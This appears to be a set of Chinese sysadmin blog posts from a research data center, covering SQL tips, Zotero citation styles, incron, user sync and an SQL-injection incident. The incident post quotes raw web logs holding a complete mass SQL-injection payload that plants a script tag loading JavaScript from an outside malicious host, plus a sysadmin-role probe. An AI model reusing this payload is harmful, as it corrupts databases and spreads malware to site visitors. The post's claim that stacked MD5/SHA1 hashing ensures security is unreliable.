用SQL的正则处理人名的缩写问题

数据中心的数据在向期刊进行投稿时,通常需要对数据引用有一定的格式变换。比如,Nature Scientific Data期刊,对Data Citation部分的建议是:

1. Lastname1, Initial1., Lastname2, Initial2., … & LastnameN. InitialN. Repository_name Dataset_accession_number_or_DOI (YYYY).

数据中心的数据作者在数据库中是有记录的,其通过一个表存储:

CREATE TABLE datadoi
(
id serial NOT NULL,
doi character varying(250) NOT NULL DEFAULT ''::character varying,
authors text[],
uuid uuid,
author_en text[],
CONSTRAINT datadoi_pkey PRIMARY KEY (id),
CONSTRAINT datadoi_doi_key UNIQUE (doi)
)

 

可以看出,作者是通过一个字符串数据存储。在PostgreSQL中,数组是通过如下形式记录的:

{value1,value2,…}

对于数据的作者信息,数据中心则要求其通过如下的形式记录到数据库中:

Wang Yijia, Zhang Eryi,…

而为了满足期刊的投稿要求,则需要将格式转换为:

Wang Y., Zhang E.,…

在数据库里,最终通过这样的形式进行处理:

select translate(regexp_replace(datadoi.author_en::text,'\s+(\w)\w*"',' \1.','g'),'{}"','')

 

即,将数组转换为字符串,剔除大括号,用逗号区分不同作者,用空格区分作者的姓和名,提取名的首字母,然后全局替换即可。

记一次sql的10倍效率提升

在数据中心后台,浏览WATER专题文献的时候,速度明显很慢,感觉哪儿有问题。
开始还以为是SQL中提取了大BLOB字段的问题,后来对比了一下,发现和这个没有关系。

于是尝试在pgadmin中直接修改sql看看效果:

首先用老的代码执行:
select distinct ref.* from mdref r left join reference ref on r.refid=ref.id
left join datasource ds on r.uuid=ds.uuid left join source s on s.id=ds.sourceid
where s.code='water'
ORDER BY ref.year,ref.title

执行下来,平均花费时间大约是460ms。

修改为单表嵌套查询后:
select distinct ref.* from reference ref
where ref.id in (
select r.refid from mdref r left join datasource ds on r.uuid=ds.uuid
left join source s on s.id=ds.sourceid where s.code='water')
ORDER BY ref.year,ref.title;

执行下来,平均花费时间大约是36ms。

这样下来,速度就有10倍以上的提升。

zotero新建一个引用格式

国标GB7714-2005标准定义的引用格式大概如下:

李新, 南卓铜, 吴立宗等. 中国西部环境与生态科学数据中心:面向西部环境与生态科学的数据集成与共享[J]. 地球科学进展, 2008, 23(6): 628–637.

但现在更多强调各个作者的贡献,即应该把所有作者都列出来,另一个则是应该把DOI信息附在后面,这样用户可以更清晰的看到文献和找到文献,特别是在数据中心的相关文献及引用信息中。

所以需要这样的一种引用方式:

王亮绪, 南卓铜, 吴立宗, 冉有华, 李红星, 潘小多, 祝忠明, 李新, 丁永建. 西部数据中心数据集成和共享的回顾与展望[J]. 中国科技资源导刊, 2010, 42(5): 30~36. doi:10.3772/j.issn.1674-1544.2010.05.006

这样就需要修改zotero中csl样式(在zotero/styles目录下),可以选择新建一个样式,主要修改的地方如下:

<option name="et-al-min" value="3"/>
<option name="et-al-use-first" value="3"/>

将其中的value值从3变到0。

详细的可以参考此附件: Chinese-Full.csl

incron:linux下基于文件的事件触发

一、什么是incron
linux下的cron大家可能都经常使用,即可以在指定时间运行指定程序的功能,而incron则是另外一类程序,其主要功能是在指定文件系统发生某些指定变化后运行指定程序。
incron这个名称就是inotify cron system的合体,意思就是基于inotify的cron系统。
官方网站的解释:

This program is an “inotify cron” system. It consists of a daemon and a table manipulator. You can use it a similar way as the regular cron. The difference is that the inotify cron handles filesystem events rather than time periods.

二、如何使用incron
和cron的使用类似,incron主要采用incrontab命令来进行控制。当然,cron在linux系统都已经是配置好了,但incron则不同,其在linux内核2.6.13才开始支持的,在ubuntu里则可以这样安装:

sudo apt-get install incron

安装完成后还需要进行配置,默认安装的incron是禁止所有使用的。

sudo nano /etc/incron.allow

将root加入到其中,即允许root运行incron。
然后就可以使用incrontab -e来加入指定的监测,比如要监测某个脚本是否发生变化,发生变化后如何处理:

sudo incrontab -e

加入以下内容:

/var/www/proftp-user.sh IN_CLOSE_WRITE /root/incron-proftp.sh

即说明在/var/www/proftp-user.sh写关闭后即执行incron-proftp.sh脚本。

从上例中可以看出incrontab的基本格式,详细解释如下:

<path> <mask> <command>

其中,path可以是文件,也可以是目录,即被监测的文件;mask可以是下述模式:

IN_ACCESS           File was accessed (read) (*)
IN_ATTRIB           Metadata changed (permissions, timestamps, extended attributes, etc.) (*)
IN_CLOSE_WRITE      File opened for writing was closed (*)
IN_CLOSE_NOWRITE    File not opened for writing was closed (*)
IN_CREATE           File/directory created in watched directory (*)
IN_DELETE           File/directory deleted from watched directory (*)
IN_DELETE_SELF           Watched file/directory was itself deleted
IN_MODIFY           File was modified (*)
IN_MOVE_SELF        Watched file/directory was itself moved
IN_MOVED_FROM       File moved out of watched directory (*)
IN_MOVED_TO         File moved into watched directory (*)
IN_OPEN             File was opened (*)

还有其他的模式,包括:

IN_ALL_EVENTS       all of the above events
IN_MOVE             a combination of IN_MOVED_FROM and IN_MOVED_TO
IN_CLOSE            combines IN_CLOSE_WRITE and IN_CLOSE_NOWRITE.

更多的模式:

IN_DONT_FOLLOW      Don't dereference pathname if it is a symbolic link
IN_ONESHOT          Monitor pathname for only one event
IN_ONLYDIR          Only watch pathname if it is a directory

command即事件发生后要运行的命令,命令中还可以支持一些特殊符号:

$$   dollar sign
$@   watched filesystem path (see above)
$#   event-related file name
$%   event flags (textually)
$&   event flags (numerically)

inotify还有一些其他有意思的工具,详细的可以参考这篇文章中文的见这篇:inoticoming,inosync, …
三、在westdc中的应用
在westdc中如何应用incron?最显而易见的就是FTP用户控制。之前一直使用cron来进行控制,用户申请通过需要在下一个正点时刻才生效,而由此也产生了很多的问题,如:
mediawiki导致的postgresql取当前时间为utc的问题
诡异的问题:时间不同步导致FTP用户地址丢失
而cron还限制了在线数据的支持,因为用户下载在线数据时应该是马上生效的。而使用incron应该就能解决这些问题,web服务器端只控制用户的申请审理,通过后即可通过某内部程序触发修改FTP服务器上的某个控制脚本,同时incron在FTP服务器上监测到控制脚本的变化后就可以让该用户的数据目录马上准备生效。
另外一个可能的应用就是文件列表的变化监测(这也是inotify产生的初衷),某条数据的文件列表发生变化后运行一个指定的程序来更新数据库中的对应文件列表。目前这个操作基本上是人工管理的。

四、使用中遇到的问题
在使用过程中,遇到了一些问题。
首先,如何判断你的incrontab是否执行?这个可以通过/var/log/syslog中查看:

sudo tail /var/log/syslog

其次,我在使用中遇到一个问题,我执行的command如下:

cp /var/www/proftp-user.sh /root/proftp-user.sh && chmod +x /root/proftp-user.sh && /root/proftp-user.sh

这个命令在bash下可以执行的,但在这里执行一直有问题,我估计可能是&&符号的问题,不过可以通过变通的方法解决,将这些命令放在一个独立的sh文件即可运行。

westdc用户库与geonetwork的同步

在数据中心系统里,westdc和geonetwork里各维护了一套用户库,有各自的登录系统,之前在处理元数据的时候二者一直是独立的,之前有一篇帖子是将geonetwork的用户密码更改为md5后进行同步,但这终归不是长久之计,因此需要一个好的方法能把二者给深度集成。

深度集成的关键在于两个方面:
1. 用户信息能否自动同步,即在westdc中修改后能否自动反馈到geonetwork中。
2. 用户登录信息能否自动进行,即只需要用户登录一次即可。

存在问题:
1. 二者的用户密码加密方式不同,一个是MD5,一个是SHA1。
2. 二者的WEB实现代码不同,一个是PHP5,一个是JAVA,二者的SESSION不能直接共享。

而为解决这些问题,网上也有很多的说明,SESSION共享可以通过数据库保存SESSION的方法进行处理,但这种方法对两个系统都有相当大的修改,工作量较大。因此后来用了一个折衷的方法来进行处理,即:
1. 在westdc中用户密码不变,而在geonetwork中的密码为sha1(md5(md5(pwd)))方式。
2. 在westdc中登录后可以自动登录geonetwork系统,对用户而言,是只登录了一次。同时由于采用了两次MD5加密,也保证了安全性。
但在处理数据库自动同步的时候,还是出现了很多问题,主要是通过view进行了规则的中转后,导致SQL执行失败,最终通过在users表中添加trigger,而由trigger直接调用dblink执行操作geonetwork/user表。
BTW:在postgresql中使用sha1需要安装pgcrypto扩展。

诡异的问题:时间不同步导致FTP用户地址丢失

数据中心的FTP在设计时采用每小时更新的方式,即用户控制在A服务器上,FTP SERVER在B服务器上,最近发现有用户通过申请后得不到数据下载地址。

逐步排查后没有发现任何问题,后来仔细看了cron列表,同步控制信息是在B服务器上每小时的58分左右进行,但B服务器快了2分钟,导致B服务器上的58分=A服务器上的00分,这样就错过了用户控制信息!

最终发现B服务器上没有安装时间同步进程:

sudo apt-get install ntp

这样应该就能解决问题了!

数据中心网站被SQL注入

昨天晚上李老师打电话过来,发现西部数据中心访问有问题。
经仔细检查,发现网站已经被SQL注入了,SQL Server中所有字符串字段都被添加了尾巴,指向了一个病毒网站。
再次检查,发现最近的一次数据库完整备份是在年前了,而此期间又注册了很多新用户,因此只能手工清理了。
这里主要是利用了SQL Server中的replace函数:

update table set f1=replace(f1,’xxx’,”)

手工清理了所有表中的相关字段,这是个体力活。在清理过程中还发现了membership表中居然有4个重复用户名,这个错误检查了3-4个小时才发现,晕。
log记录显示了如何注入的:

6985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6};dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:02 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6}’;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={7ce7f0d6-7b5c-4136-82cb-eca3a2083902};dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={7ce7f0d6-7b5c-4136-82cb-eca3a2083902}’;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6}%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={7ce7f0d6-7b5c-4136-82cb-eca3a2083902}%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /useterms.aspx id=1;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 200 0 64
2008-05-27 00:08:04 W3SVC1565836985 210.77.68.241 GET /useterms.aspx id=1′;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 200 0 64
2008-05-27 00:08:04 W3SVC1565836985 210.77.68.241 GET /useterms.aspx id=1%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 – 218.246.32.206 Mozilla/4.0 200 0 0

因此,可以看到黑客是利用218.246.32.206这个机器来操作的,但搜索这个IP地址,居然发现多个结果,估计是利用工具攻击的。

同时,CSDN上还有一个自动的恢复方法,这比我手工恢复要省事多了。

发现,这个攻击是针对SQL Server的。

调用westdc的搜索功能

如何调用westdc的搜索功能?
WESTDC的搜索地址为:http://westdc.westgis.ac.cn/DataServices/SearchMetadata.aspx
而参数的传递方法可以使用GET,也可以使用POST。
具体参数包括:
q, 全文搜索的关键词
e, 经度(东)
w, 经度(西)
s, 纬度(南)
n, 纬度(北)

比如,使用get方法的时候,您可以直接调用:
http://westdc.westgis.ac.cn/DataServices/SearchMetadata.aspx?q=沙漠&e=100&w=50&s=50&n=70
也可以使用POST方法调用,代码如下:









效果如下: